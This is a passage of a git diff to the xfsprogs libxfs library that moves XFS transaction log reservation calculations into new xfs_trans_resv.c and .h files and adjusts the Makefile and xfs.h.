XFS_CLEAR_AGI_BUCKET_LOG_RES(mp) ((mp)->m_reservations.tr_clearagi) - - -/* - * Various log count values. - */ -#define XFS_DEFAULT_LOG_COUNT 1 -#define XFS_DEFAULT_PERM_LOG_COUNT 2 -#define XFS_ITRUNCATE_LOG_COUNT 2 -#define XFS_INACTIVE_LOG_COUNT 2 -#define XFS_CREATE_LOG_COUNT 2 -#define XFS_MKDIR_LOG_COUNT 3 -#define XFS_SYMLINK_LOG_COUNT 3 -#define XFS_REMOVE_LOG_COUNT 2 -#define XFS_LINK_LOG_COUNT 2 -#define XFS_RENAME_LOG_COUNT 2 -#define XFS_WRITE_LOG_COUNT 2 -#define XFS_ADDAFORK_LOG_COUNT 2 -#define XFS_ATTRINVAL_LOG_COUNT 1 -#define XFS_ATTRSET_LOG_COUNT 3 -#define XFS_ATTRRM_LOG_COUNT 3 - -/* * Here we centralize the specification of XFS meta-data buffer * reference count values. This determine how hard the buffer * cache tries to hold onto the buffer. diff --git a/include/xfs_trans_resv.h b/include/xfs_trans_resv.h new file mode 100644 index 0000000..cc8260e --- /dev/null +++ b/include/xfs_trans_resv.h @@ -0,0 +1,137 @@ +/* + * Copyright (c) 2000-2002,2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_TRANS_RESV_H__ +#define __XFS_TRANS_RESV_H__ + +struct xfs_mount; + +/* + * structure for maintaining pre-calculated transaction reservations. + */ +struct xfs_trans_resv { + uint tr_write; /* extent alloc trans */ + uint tr_itruncate; /* truncate trans */ + uint tr_rename; /* rename trans */ + uint tr_link; /* link trans */ + uint tr_remove; /* unlink trans */ + uint tr_symlink; /* symlink trans */ + uint tr_create; /* create trans */ + uint tr_mkdir; /* mkdir trans */ + uint tr_ifree; /* inode free trans */ + uint tr_ichange; /* inode update trans */ + uint tr_growdata; /* fs data section grow trans */ + uint tr_swrite; /* sync write inode trans */ + uint tr_addafork; /* cvt inode to attributed trans */ + uint tr_writeid; /* write setuid/setgid file */ + uint tr_attrinval; /* attr fork buffer invalidation */ + uint tr_attrsetm; /* set/create an attribute at mount time */ + uint tr_attrsetrt; /* set/create an attribute at runtime */ + uint tr_attrrm; /* remove an attribute */ + uint tr_clearagi; /* clear bad agi unlinked ino bucket */ + uint tr_growrtalloc; /* grow realtime allocations */ + uint tr_growrtzero; /* grow realtime zeroing */ + uint tr_growrtfree; /* grow realtime freeing */ + uint tr_qm_sbchange; /* change quota flags */ + uint tr_qm_setqlim; /* adjust quota limits */ + uint tr_qm_dqalloc; /* allocate quota on disk */ + uint tr_qm_quotaoff; /* turn quota off */ + uint tr_qm_equotaoff;/* end of turn quota off */ + uint tr_sb; /* modify superblock */ +}; + +/* + * Per-extent log reservation for the allocation btree changes + * involved in freeing or allocating an extent. + * 2 trees * (2 blocks/level * max depth - 1) * block size + */ +#define XFS_ALLOCFREE_LOG_RES(mp,nx) \ + ((nx) * (2 * XFS_FSB_TO_B((mp), 2 * XFS_AG_MAXLEVELS(mp) - 1))) +#define XFS_ALLOCFREE_LOG_COUNT(mp,nx) \ + ((nx) * (2 * (2 * XFS_AG_MAXLEVELS(mp) - 1))) + +/* + * Per-directory log reservation for any directory change. + * dir blocks: (1 btree block per level + data block + free block) * dblock size + * bmap btree: (levels + 2) * max depth * block size + * v2 directory blocks can be fragmented below the dirblksize down to the fsb + * size, so account for that in the DAENTER macros. + */ +#define XFS_DIROP_LOG_RES(mp) \ + (XFS_FSB_TO_B(mp, XFS_DAENTER_BLOCKS(mp, XFS_DATA_FORK)) + \ + (XFS_FSB_TO_B(mp, XFS_DAENTER_BMAPS(mp, XFS_DATA_FORK) + 1))) +#define XFS_DIROP_LOG_COUNT(mp) \ + (XFS_DAENTER_BLOCKS(mp, XFS_DATA_FORK) + \ + XFS_DAENTER_BMAPS(mp, XFS_DATA_FORK) + 1) + + +#define XFS_WRITE_LOG_RES(mp) ((mp)->m_reservations.tr_write) +#define XFS_ITRUNCATE_LOG_RES(mp) ((mp)->m_reservations.tr_itruncate) +#define XFS_RENAME_LOG_RES(mp) ((mp)->m_reservations.tr_rename) +#define XFS_LINK_LOG_RES(mp) ((mp)->m_reservations.tr_link) +#define XFS_REMOVE_LOG_RES(mp) ((mp)->m_reservations.tr_remove) +#define XFS_SYMLINK_LOG_RES(mp) ((mp)->m_reservations.tr_symlink) +#define XFS_CREATE_LOG_RES(mp) ((mp)->m_reservations.tr_create) +#define XFS_MKDIR_LOG_RES(mp) ((mp)->m_reservations.tr_mkdir) +#define XFS_IFREE_LOG_RES(mp) ((mp)->m_reservations.tr_ifree) +#define XFS_ICHANGE_LOG_RES(mp) ((mp)->m_reservations.tr_ichange) +#define XFS_GROWDATA_LOG_RES(mp) ((mp)->m_reservations.tr_growdata) +#define XFS_GROWRTALLOC_LOG_RES(mp) ((mp)->m_reservations.tr_growrtalloc) +#define XFS_GROWRTZERO_LOG_RES(mp) ((mp)->m_reservations.tr_growrtzero) +#define XFS_GROWRTFREE_LOG_RES(mp) ((mp)->m_reservations.tr_growrtfree) +#define XFS_SWRITE_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) +/* + * Logging the inode timestamps on an fsync -- same as SWRITE + * as long as SWRITE logs the entire inode core + */ +#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) +#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) +#define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_reservations.tr_addafork) +#define XFS_ATTRINVAL_LOG_RES(mp) ((mp)->m_reservations.tr_attrinval) +#define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetm) +#define XFS_ATTRSETRT_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetrt) +#define XFS_ATTRRM_LOG_RES(mp) ((mp)->m_reservations.tr_attrrm) +#define XFS_CLEAR_AGI_BUCKET_LOG_RES(mp) ((mp)->m_reservations.tr_clearagi) +#define XFS_QM_SBCHANGE_LOG_RES(mp) ((mp)->m_reservations.tr_qm_sbchange) +#define XFS_QM_SETQLIM_LOG_RES(mp) ((mp)->m_reservations.tr_qm_setqlim) +#define XFS_QM_DQALLOC_LOG_RES(mp) ((mp)->m_reservations.tr_qm_dqalloc) +#define XFS_QM_QUOTAOFF_LOG_RES(mp) ((mp)->m_reservations.tr_qm_quotaoff) +#define XFS_QM_QUOTAOFF_END_LOG_RES(mp) ((mp)->m_reservations.tr_qm_equotaoff) +#define XFS_SB_LOG_RES(mp) ((mp)->m_reservations.tr_sb) + +/* + * Various log count values. + */ +#define XFS_DEFAULT_LOG_COUNT 1 +#define XFS_DEFAULT_PERM_LOG_COUNT 2 +#define XFS_ITRUNCATE_LOG_COUNT 2 +#define XFS_INACTIVE_LOG_COUNT 2 +#define XFS_CREATE_LOG_COUNT 2 +#define XFS_MKDIR_LOG_COUNT 3 +#define XFS_SYMLINK_LOG_COUNT 3 +#define XFS_REMOVE_LOG_COUNT 2 +#define XFS_LINK_LOG_COUNT 2 +#define XFS_RENAME_LOG_COUNT 2 +#define XFS_WRITE_LOG_COUNT 2 +#define XFS_ADDAFORK_LOG_COUNT 2 +#define XFS_ATTRINVAL_LOG_COUNT 1 +#define XFS_ATTRSET_LOG_COUNT 3 +#define XFS_ATTRRM_LOG_COUNT 3 + +void xfs_trans_resv_calc(struct xfs_mount *mp, struct xfs_trans_resv *resp); + +#endif /* __XFS_TRANS_RESV_H__ */ diff --git a/libxfs/Makefile b/libxfs/Makefile index d0b483d..b19ff6c 100644 --- a/libxfs/Makefile +++ b/libxfs/Makefile @@ -16,8 +16,11 @@ CFILES = cache.c init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ xfs_ialloc_btree.c xfs_bmap_btree.c xfs_da_btree.c \ xfs_dir2.c xfs_dir2_leaf.c xfs_attr_leaf.c xfs_dir2_block.c \ xfs_dir2_node.c xfs_dir2_data.c xfs_dir2_sf.c xfs_bmap.c \ - xfs_mount.c xfs_rtalloc.c xfs_trans.c xfs_attr.c xfs_attr_remote.c \ - crc32.c xfs_symlink.c + xfs_mount.c xfs_rtalloc.c xfs_attr.c xfs_attr_remote.c \ + crc32.c \ + xfs_symlink.c \ + xfs_trans.c \ + xfs_trans_resv.c CFILES += $(PKG_PLATFORM).c PCFILES = darwin.c freebsd.c irix.c linux.c diff --git a/libxfs/xfs.h b/libxfs/xfs.h index c9d6a6d..66fca85 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -100,6 +100,8 @@ typedef __uint32_t inst_t; /* an instruction */ #define __return_address __builtin_return_address(0) #endif +#define XFS_DQUOT_CLUSTER_SIZE_FSB (xfs_filblks_t)1 + /* miscellaneous kernel routines not in user space */ #define down_read(a) ((void) 0) #define up_read(a) ((void) 0) diff --git a/libxfs/xfs_trans.c b/libxfs/xfs_trans.c index 95fb630..2daf545 100644 --- a/libxfs/xfs_trans.c +++ b/libxfs/xfs_trans.c @@ -23,557 +23,6 @@ kmem_zone_t *xfs_trans_zone; kmem_zone_t *xfs_log_item_desc_zone; /* - * A buffer has a format structure overhead in the log in addition - * to the data, so we need to take this into account when reserving - * space in a transaction for a buffer. Round the space required up - * to a multiple of 128 bytes so that we don't change the historical - * reservation that has been used for this overhead. - */ -STATIC uint -xfs_buf_log_overhead(void) -{ - return round_up(sizeof(struct xlog_op_header) + - sizeof(struct xfs_buf_log_format), 128); -} - -/* - * Calculate out transaction log reservation per item in bytes. - * - * The nbufs argument is used to indicate the number of items that - * will be changed in a transaction. size is used to tell how many - * bytes should be reserved per item. - */ -STATIC uint -xfs_calc_buf_res( - uint nbufs, - uint size) -{ - return nbufs * (size + xfs_buf_log_overhead()); -} - -/* - * Various log reservation values. - * - * These are based on the size of the file system block because that is what - * most transactions manipulate. Each adds in an additional 128 bytes per - * item logged to try to account for the overhead of the transaction mechanism. - * - * Note: Most of the reservations underestimate the number of allocation - * groups into which they could free extents in the xfs_bmap_finish() call. - * This is because the number in the worst case is quite high and quite - * unusual. In order to fix this we need to change xfs_bmap_finish() to free - * extents in only a single AG at a time. This will require changes to the - * EFI code as well, however, so that the EFI for the extents not freed is - * logged again in each transaction. See SGI PV #261917. - * - * Reservation functions here avoid a huge stack in xfs_trans_init due to - * register overflow from temporaries in the calculations. - */ - - -/* - * In a write transaction we can allocate a maximum of 2 - * extents. This gives: - * the inode getting the new extents: inode size - * the inode's bmap btree: max depth * block size - * the agfs of the ags from which the extents are allocated: 2 * sector - * the superblock free block counter: sector size - * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size - * And the bmap_finish transaction can free bmap blocks in a join: - * the agfs of the ags containing the blocks: 2 * sector size - * the agfls of the ags containing the blocks: 2 * sector size - * the super block free block counter: sector size - * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size - */ -STATIC uint -xfs_calc_write_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), - XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), - XFS_FSB_TO_B(mp, 1)))); -} - -/* - * In truncating a file we free up to two extents at once. We can modify: - * the inode being truncated: inode size - * the inode's bmap btree: (max depth + 1) * block size - * And the bmap_finish transaction can free the blocks and bmap blocks: - * the agf for each of the ags: 4 * sector size - * the agfl for each of the ags: 4 * sector size - * the super block to reflect the freed blocks: sector size - * worst case split in allocation btrees per extent assuming 4 extents: - * 4 exts * 2 trees * (2 * max depth - 1) * block size - * the inode btree: max depth * blocksize - * the allocation btrees: 2 trees * (max depth - 1) * block size - */ -STATIC uint -xfs_calc_itruncate_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) + 1, - XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(9, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 4), - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(5, 0) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(2 + XFS_IALLOC_BLOCKS(mp) + - mp->m_in_maxlevels, 0))); -} - -/* - * In renaming a files we can modify: - * the four inodes involved: 4 * inode size - * the two directory btrees: 2 * (max depth + v2) * dir block size - * the two directory bmap btrees: 2 * max depth * block size - * And the bmap_finish transaction can free dir and bmap blocks (two sets - * of bmap blocks) giving: - * the agf for the ags in which the blocks live: 3 * sector size - * the agfl for the ags in which the blocks live: 3 * sector size - * the superblock for the free block count: sector size - * the allocation btrees: 3 exts * 2 trees * (2 * max depth - 1) * block size - */ -STATIC uint -xfs_calc_rename_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(4, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(2 * XFS_DIROP_LOG_COUNT(mp), - XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(7, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 3), - XFS_FSB_TO_B(mp, 1)))); -} - -/* - * For creating a link to an inode: - * the parent directory inode: inode size - * the linked inode: inode size - * the directory btree could split: (max depth + v2) * dir block size - * the directory bmap btree could join or split: (max depth + v2) * blocksize - * And the bmap_finish transaction can free some bmap blocks giving: - * the agf for the ag in which the blocks live: sector size - * the agfl for the ag in which the blocks live: sector size - * the superblock for the free block count: sector size - * the allocation btrees: 2 trees * (2 * max depth - 1) * block size - */ -STATIC uint -xfs_calc_link_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), - XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)))); -} - -/* - * For removing a directory entry we can modify: - * the parent directory inode: inode size - * the removed inode: inode size - * the directory btree could join: (max depth + v2) * dir block size - * the directory bmap btree could join or split: (max depth + v2) * blocksize - * And the bmap_finish transaction can free the dir and bmap blocks giving: - * the agf for the ag in which the blocks live: 2 * sector size - * the agfl for the ag in which the blocks live: 2 * sector size - * the superblock for the free block count: sector size - * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size - */ -STATIC uint -xfs_calc_remove_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), - XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), - XFS_FSB_TO_B(mp, 1)))); -} - -/* - * For create, break it in to the two cases that the transaction - * covers. We start with the modify case - allocation done by modification - * of the state of existing inodes - and the allocation case. - */ - -/* - * For create we can modify: - * the parent directory inode: inode size - * the new inode: inode size - * the inode btree entry: block size - * the superblock for the nlink flag: sector size - * the directory btree: (max depth + v2) * dir block size - * the directory inode's bmap btree: (max depth + v2) * block size - */ -STATIC uint -xfs_calc_create_resv_modify( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + - (uint)XFS_FSB_TO_B(mp, 1) + - xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)); -} - -/* - * For create we can allocate some inodes giving: - * the agi and agf of the ag getting the new inodes: 2 * sectorsize - * the superblock for the nlink flag: sector size - * the inode blocks allocated: XFS_IALLOC_BLOCKS * blocksize - * the inode btree: max depth * blocksize - * the allocation btrees: 2 trees * (max depth - 1) * block size - */ -STATIC uint -xfs_calc_create_resv_alloc( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + - mp->m_sb.sb_sectsize + - xfs_calc_buf_res(XFS_IALLOC_BLOCKS(mp), XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); -} - -STATIC uint -__xfs_calc_create_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX(xfs_calc_create_resv_alloc(mp), - xfs_calc_create_resv_modify(mp)); -} - -/* - * For icreate we can allocate some inodes giving: - * the agi and agf of the ag getting the new inodes: 2 * sectorsize - * the superblock for the nlink flag: sector size - * the inode btree: max depth * blocksize - * the allocation btrees: 2 trees * (max depth - 1) * block size - */ -STATIC uint -xfs_calc_icreate_resv_alloc( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + - mp->m_sb.sb_sectsize + - xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); -} - -STATIC uint -xfs_calc_icreate_reservation(xfs_mount_t *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX(xfs_calc_icreate_resv_alloc(mp), - xfs_calc_create_resv_modify(mp)); -} - -STATIC uint -xfs_calc_create_reservation( - struct xfs_mount *mp) -{ - if (xfs_sb_version_hascrc(&mp->m_sb)) - return xfs_calc_icreate_reservation(mp); - return __xfs_calc_create_reservation(mp); - -} - -/* - * Making a new directory is the same as creating a new file. - */ -STATIC uint -xfs_calc_mkdir_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_create_reservation(mp); -} - - -/* - * Making a new symplink is the same as creating a new file, but - * with the added blocks for remote symlink data which can be up to 1kB in - * length (MAXPATHLEN). - */ -STATIC uint -xfs_calc_symlink_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_create_reservation(mp) + - xfs_calc_buf_res(1, MAXPATHLEN); -} - -/* - * In freeing an inode we can modify: - * the inode being freed: inode size - * the super block free inode counter: sector size - * the agi hash list and counters: sector size - * the inode btree entry: block size - * the on disk inode before ours in the agi hash list: inode cluster size - * the inode btree: max depth * blocksize - * the allocation btrees: 2 trees * (max depth - 1) * block size - */ -STATIC uint -xfs_calc_ifree_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(1, XFS_FSB_TO_B(mp, 1)) + - MAX((__uint16_t)XFS_FSB_TO_B(mp, 1), - XFS_INODE_CLUSTER_SIZE(mp)) + - xfs_calc_buf_res(1, 0) + - xfs_calc_buf_res(2 + XFS_IALLOC_BLOCKS(mp) + - mp->m_in_maxlevels, 0) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); -} - -/* - * When only changing the inode we log the inode and possibly the superblock - * We also add a bit of slop for the transaction stuff. - */ -STATIC uint -xfs_calc_ichange_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - mp->m_sb.sb_inodesize + - mp->m_sb.sb_sectsize + - 512; - -} - -/* - * Growing the data section of the filesystem. - * superblock - * agi and agf - * allocation btrees - */ -STATIC uint -xfs_calc_growdata_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); -} - -/* - * Growing the rt section of the filesystem. - * In the first set of transactions (ALLOC) we allocate space to the - * bitmap or summary files. - * superblock: sector size - * agf of the ag from which the extent is allocated: sector size - * bmap btree for bitmap/summary inode: max depth * blocksize - * bitmap/summary inode: inode size - * allocation btrees for 1 block alloc: 2 * (2 * maxdepth - 1) * blocksize - */ -STATIC uint -xfs_calc_growrtalloc_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); -} - -/* - * Growing the rt section of the filesystem. - * In the second set of transactions (ZERO) we zero the new metadata blocks. - * one bitmap/summary block: blocksize - */ -STATIC uint -xfs_calc_growrtzero_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(1, mp->m_sb.sb_blocksize); -} - -/* - * Growing the rt section of the filesystem. - * In the third set of transactions (FREE) we update metadata without - * allocating any new blocks. - * superblock: sector size - * bitmap inode: inode size - * summary inode: inode size - * one bitmap block: blocksize - * summary blocks: new summary size - */ -STATIC uint -xfs_calc_growrtfree_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(1, mp->m_sb.sb_blocksize) + - xfs_calc_buf_res(1, mp->m_rsumsize); -} - -/* - * Logging the inode modification timestamp on a synchronous write. - * inode - */ -STATIC uint -xfs_calc_swrite_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(1, mp->m_sb.sb_inodesize); -} - -/* - * Logging the inode mode bits when writing a setuid/setgid file - * inode - */ -STATIC uint -xfs_calc_writeid_reservation(xfs_mount_t *mp) -{ - return xfs_calc_buf_res(1, mp->m_sb.sb_inodesize); -} - -/* - * Converting the inode from non-attributed to attributed. - * the inode being converted: inode size - * agf block and superblock (for block allocation) - * the new block (directory sized) - * bmap blocks for the new directory block - * allocation btrees - */ -STATIC uint -xfs_calc_addafork_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(1, mp->m_dirblksize) + - xfs_calc_buf_res(XFS_DAENTER_BMAP1B(mp, XFS_DATA_FORK) + 1, - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); -} - -/* - * Removing the attribute fork of a file - * the inode being truncated: inode size - * the inode's bmap btree: max depth * block size - * And the bmap_finish transaction can free the blocks and bmap blocks: - * the agf for each of the ags: 4 * sector size - * the agfl for each of the ags: 4 * sector size - * the super block to reflect the freed blocks: sector size - * worst case split in allocation btrees per extent assuming 4 extents: - * 4 exts * 2 trees * (2 * max depth - 1) * block size - */ -STATIC uint -xfs_calc_attrinval_reservation( - struct xfs_mount *mp) -{ - return MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK), - XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(9, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 4), - XFS_FSB_TO_B(mp, 1)))); -} - -/* - * Setting an attribute at mount time. - * the inode getting the attribute - * the superblock for allocations - * the agfs extents are allocated from - * the attribute btree * max depth - * the inode allocation btree - * Since attribute transaction space is dependent on the size of the attribute, - * the calculation is done partially at mount time and partially at runtime(see - * below). - */ -STATIC uint -xfs_calc_attrsetm_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_DA_NODE_MAXDEPTH, XFS_FSB_TO_B(mp, 1)); -} - -/* - * Setting an attribute at runtime, transaction space unit per block. - * the superblock for allocations: sector size - * the inode bmap btree could join or split: max depth * block size - * Since the runtime attribute transaction space is dependent on the total - * blocks needed for the 1st bmap, here we calculate out the space unit for - * one block so that the caller could figure out the total space according - * to the attibute extent length in blocks by: ext * XFS_ATTRSETRT_LOG_RES(mp). - */ -STATIC uint -xfs_calc_attrsetrt_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK), - XFS_FSB_TO_B(mp, 1)); -} - -/* - * Removing an attribute. - * the inode: inode size - * the attribute btree could join: max depth * block size - * the inode bmap btree could join or split: max depth * block size - * And the bmap_finish transaction can free the attr blocks freed giving: - * the agf for the ag in which the blocks live: 2 * sector size - * the agfl for the ag in which the blocks live: 2 * sector size - * the superblock for the free block count: sector size - * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size - */ -STATIC uint -xfs_calc_attrrm_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(XFS_DA_NODE_MAXDEPTH, - XFS_FSB_TO_B(mp, 1)) + - XFS_FSB_TO_B(mp, XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK)) + - xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), 0)), - (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), - XFS_FSB_TO_B(mp, 1)))); -} - -/* - * Clearing a bad agino number in an agi hash bucket. - */ -STATIC uint -xfs_calc_clear_agi_bucket_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize); -} - -/* * Initialize the precomputed transaction reservation values * in the mount structure. */ @@ -581,30 +30,7 @@ void xfs_trans_init( struct xfs_mount *mp) { - struct xfs_trans_reservations *resp = &mp->m_reservations; - - resp->tr_write = xfs_calc_write_reservation(mp); - resp->tr_itruncate = xfs_calc_itruncate_reservation(mp); - resp->tr_rename = xfs_calc_rename_reservation(mp); - resp->tr_link = xfs_calc_link_reservation(mp); - resp->tr_remove = xfs_calc_remove_reservation(mp); - resp->tr_symlink = xfs_calc_symlink_reservation(mp); - resp->tr_create = xfs_calc_create_reservation(mp); - resp->tr_mkdir = xfs_calc_mkdir_reservation(mp); - resp->tr_ifree = xfs_calc_ifree_reservation(mp); - resp->tr_ichange = xfs_calc_ichange_reservation(mp); - resp->tr_growdata = xfs_calc_growdata_reservation(mp); - resp->tr_swrite = xfs_calc_swrite_reservation(mp); - resp->tr_writeid = xfs_calc_writeid_reservation(mp); - resp->tr_addafork = xfs_calc_addafork_reservation(mp); - resp->tr_attrinval = xfs_calc_attrinval_reservation(mp); - resp->tr_attrsetm = xfs_calc_attrsetm_reservation(mp); - resp->tr_attrsetrt = xfs_calc_attrsetrt_reservation(mp); - resp->tr_attrrm = xfs_calc_attrrm_reservation(mp); - resp->tr_clearagi = xfs_calc_clear_agi_bucket_reservation(mp); - resp->tr_growrtalloc = xfs_calc_growrtalloc_reservation(mp); - resp->tr_growrtzero = xfs_calc_growrtzero_reservation(mp); - resp->tr_growrtfree = xfs_calc_growrtfree_reservation(mp); + xfs_trans_resv_calc(mp, &mp->m_reservations); } /* diff --git a/libxfs/xfs_trans_resv.c b/libxfs/xfs_trans_resv.c new file mode 100644 index 0000000..7a391e3 --- /dev/null +++ b/libxfs/xfs_trans_resv.c @@ -0,0 +1,677 @@ +/* + * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. + * Copyright (C) 2010 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include + +/* + * A buffer has a format structure overhead in the log in addition + * to the data, so we need to take this into account when reserving + * space in a transaction for a buffer. Round the space required up + * to a multiple of 128 bytes so that we don't change the historical + * reservation that has been used for this overhead. + */ +STATIC uint 